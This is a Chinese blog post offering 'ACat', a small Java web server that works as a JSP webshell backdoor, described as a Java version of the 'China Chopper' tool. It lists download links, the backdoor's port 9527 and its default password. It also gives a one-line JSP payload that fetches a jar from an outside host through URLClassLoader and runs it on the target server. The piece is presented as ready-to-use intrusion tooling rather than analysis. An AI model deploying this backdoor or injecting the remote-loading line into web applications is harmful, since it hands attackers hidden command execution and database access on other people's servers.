关注我们
QRcode 邮件联系 QRcode

JSP一句话木马JAVA版中国菜刀

 feng 2014/05/27 23:34  6,676 ℃  2条点评

下载:
ACat-jdk1.5.jar、ACat-附数据库驱动-jdk1.5.jar
ACat.jar、ACat-附数据库驱动.jar

源码:ACat-src.zip

描述:

这是一个用java实现的非常小(18kb)的webServer。之前在drops发了一个简单的demo:http://drops.wooyun.org/papers/869。这个也非常简单,只实现了几个servlet的api,不过已实现了后门相关功能。启动成功后会开启9527端口,然后访问:http://xxx.com:9527/api.jsp,密码:023。
JDK编译版本:jdk1.5、jdk1.7。
停止服务:http://xxx.com:9527/api.jsp?action=stop

密码和端口配置在jar里面的server.properties:
image

运行方式:
java -jar ACat.jar或者在Jsp中调用:
<% Class.forName("org.javaweb.server.Server",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://ahack.net/acat2.jar")})).getMethod("startX", new Class[]{}).invoke(null, new Object[]{}); %>

或在jsp里面执行本地命令:
java -jar xx.jar
image

执行命令:

加载驱动后可以连接数据库:

image

FROM:http://p2j.cn/?p=1310

中国政府下令禁止国企找美国公司做咨询服务
美国政府阻止中国黑客参加BlackHat黑客大会
Wordpress InfusionSoft Upload ExploitWordPress InfusionSoft Upload Exploitlinux+apache+mysql+php安全加固配置说明linux+apache+mysql+php安全加固配置说明最新Apache Tomcat全系再曝严重安全漏洞最新Apache Tomcat全系再曝严重安全漏洞安全浏览网页就用Webfilter安全浏览网页就用Webfilter

已有2条评论,欢迎点评!

smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley

  1. avatar
    #2 1234
    
    

    hello nihao afeng 你好 你好 你好

    2015-09-30 上午 3:21回复
  2. avatar
    #1 SEO

    这个方法好像已经过时了啊!

    2016-08-26 上午 8:46回复


注册帐号  |  忘记密码